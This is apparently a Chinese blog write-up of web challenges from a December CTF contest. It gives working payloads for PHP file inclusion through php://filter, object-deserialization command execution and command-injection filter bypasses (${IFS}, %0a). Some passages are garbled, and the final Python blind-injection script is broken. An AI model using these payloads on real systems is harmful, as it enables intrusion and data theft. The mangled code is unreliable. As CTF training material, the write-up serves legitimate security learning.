网络内生安全试验场-12月CTF圣诞赛Web

1. nani
http://120.55.43.255:24719/查看源码得以下内容,其URL提示文件包含
在这里插入图片描述网络内生安全试验场-12月CTF圣诞赛Web_第1张图片
查看http://120.55.43.255:24719/index.php?file=show.php得

使用http://120.55.43.255:24719/index.php?file=php://filter/read=convert.base64-encode/resource=./user.php
网络内生安全试验场-12月CTF圣诞赛Web_第2张图片
使用base64解密
网络内生安全试验场-12月CTF圣诞赛Web_第3张图片

warn); } function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } } } $cmd = $_POST[cmd]; unserialize($cmd); ?>

网络内生安全试验场-12月CTF圣诞赛Web_第4张图片
构造payload:
cmd=O:7:“convent”:2:{s:4:“warn”;s:14:“system(‘dir’);”;}
网络内生安全试验场-12月CTF圣诞赛Web_第5张图片
2. Xlmg
Stegsolve图片隐写查看器的使用手册:
在Analyse中:
File Format:文件格式
Data Extract:数据提取
Steregram Solve:立体试图 可以左右控制偏移
Frame Browser:帧浏览器
Image Combiner:拼图,图片拼接
其中data extract右边部分表示RGBA(Alpha是透明度)的颜色通道,而rgba是代表Red(红色)Green(绿色)Blue(蓝色)和Alpha的色彩空间。它们代表的实际上是亮度。右半部分就是Extra By(额外的)和Bit Order(位顺序)和Bit Plane Order(位平面的顺序)
网络内生安全试验场-12月CTF圣诞赛Web_第6张图片
3. random

出$key == t r u e k e y 接 着 根 据 提 示 , 存 在 文 件 包 含 。 先 闭 合 v a r d u m p ( true_key 接着根据提示,存在文件包含。先闭合var_dump( truekeyvardump(a)既构造得?hello=1);print_r(file_(“./flag.php”));//&seed=2&key=1216699170
网络内生安全试验场-12月CTF圣诞赛Web_第7张图片
4.Admin
http://120.55.43.255:28119/

网络内生安全试验场-12月CTF圣诞赛Web_第8张图片在这里插入图片描述
isset()函数:就是判断变量是否存在并且不为空,存在返回ture,不存在返回false。
file_get_contents() 函数:是用于将文件的内容读入到一个字符串中的首选方法。
include( f i l e ) ; / / c l a s s . p h p : 意 思 是 让 我 们 输 出 h e l l o a d m i n ! , 然 后 执 行 文 件 包 含 漏 洞 。 所 以 , 我 们 应 该 想 办 法 让 f i l e g e t c o n t e n t s ( file); //class.php: 意思是让我们输出hello admin!,然后执行文件包含漏洞。 所以,我们应该想办法让file_get_contents( file);//class.php:helloadmin!filegetcontents(user,‘r’)的内容变成admin就可以绕过file_get_contents,这里用的方法是使用php的封装协议—— php://input。php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
网络内生安全试验场-12月CTF圣诞赛Web_第9张图片
绕过第一个,紧接着文件包含file=php://filter/convert.base64-encode/resource=class.php构造得到http://120.55.43.255:28119/?user=php://input&file=php://filter/convert.base64-encode/resource=class
网络内生安全试验场-12月CTF圣诞赛Web_第10张图片
解码
网络内生安全试验场-12月CTF圣诞赛Web_第11张图片
反序列pass=O:4:“Read”:1:{s:4:“file”;s:62:“php://filter/read=convert.base64-encode/resource=fffffflag.php”;}既?user=php://input&file=class.php&pass=O:4:“Read”:1:{s:4:“file”;s:62:“php://filter/read=convert.base64-encode/resource=fffffflag.php”;}后面一个文件包含加反序列。
网络内生安全试验场-12月CTF圣诞赛Web_第12张图片
解码
在这里插入图片描述
5.Post1
过滤了cat,空格。使用cut、$ {IFS }来代替
构造palyload:a=cut$ {IFS }-b1-$ {IFS }flag.txt
网络内生安全试验场-12月CTF圣诞赛Web_第13张图片
6.Ping
strcmp ():进行二进制安全字符串比较,用来判断password是否一致
include($_REQUEST[‘path’]):文件包含,传入的参数是path
使用password[]绕过
网络内生安全试验场-12月CTF圣诞赛Web_第14张图片
?path=php://filter//read=convert.base64-encode/resource=ping.php
网络内生安全试验场-12月CTF圣诞赛Web_第15张图片
解码
网络内生安全试验场-12月CTF圣诞赛Web_第16张图片
过滤了一些分隔符,可以使用%0a换行符符号–。
网络内生安全试验场-12月CTF圣诞赛Web_第17张图片
Cat ffffff1111aagggg.txt
网络内生安全试验场-12月CTF圣诞赛Web_第18张图片
7.Post2(半成)
使用代码
Import requests
Import string
dic = string.printable
flag = “”
for j in range(1,50):
for i in range(len(dic)):
url = http://120.55.43.255:22712/
date = {“cmd” : ‘’’[ ‘cut -c | ‘’’+str(j)+’’’ flag.txt‘ = “%c” ]}
try:
r = request.post(url,data=data,time=1)
except requests.exceptions.ReadTimeout,e:
flag += dic[i]
print flag
break

你可能感兴趣的:(安全,CTF)